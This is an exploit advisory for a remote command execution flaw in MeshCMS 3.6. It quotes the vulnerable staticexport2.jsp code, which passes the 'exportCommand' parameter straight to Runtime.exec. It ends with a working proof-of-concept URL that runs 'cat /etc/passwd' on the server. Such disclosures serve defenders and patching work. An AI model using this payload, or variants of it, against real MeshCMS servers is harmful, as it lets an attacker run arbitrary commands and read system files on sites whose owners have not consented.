MeshCMS 3.6 Remote Command Execution

`#############  
  
Exploit Title: MeshCMS 3.6 – Command Execution Vulnerability  
  
Date: 2016-04-03  
  
Exploit Author: piaox xiong  
  
Vendor Homepage: http://www.cromoteca.com/en/meshcms/  
  
Software Link: http://www.cromoteca.com/en/meshcms/download/  
  
Version: 3.6  
  
Tested on: Windows OS  
  
  
  
#############  
  
Application Description:  
  
MeshCMS is an online editing system written in Java. It provides a set of  
features usually included in a CMS, but it uses a more traditional  
approach: pages are stored in regular HTML files and all additional  
features are file-based, without needing a database.  
  
  
#############  
  
Vulnerability Description:  
  
in the staticexport2.jsp jspfile,the parameter “exportCommand” cause Command  
Execution.  
  
if (!exportCommand.equals("")) {  
  
out.println("\nexecuting: " + exportCommand);  
  
Process process = Runtime.getRuntime().exec(exportCommand);  
  
out.println("standard output:");  
  
ByteArrayOutputStream baos = new ByteArrayOutputStream();  
  
Utils.copyStream(process.getInputStream(), baos, false);  
  
out.write(Utils.encodeHTML(baos.toString()));  
  
baos.reset();  
  
out.println("end of standard output\nerror output:");  
  
Utils.copyStream(process.getErrorStream(), baos, false);  
  
out.write(Utils.encodeHTML(baos.toString()));  
  
int exit = process.waitFor();  
  
out.println("end of error output\nexecution finished with exit code " +  
exit);  
  
POC:  
  
http://127.0.0.1:8080/meshcms/meshcms/admin/staticexport2.jsp?exportBaseURL=%2Fmeshcms%2Fadmin%2Fstaticexport1.jsp&exportDir=upload&exportCheckDates=true&exportCommand=cat+%2Fetc%2Fpasswd&exportSaveConfig=true  
  
[image: 内嵌图片 1]  
  
  
`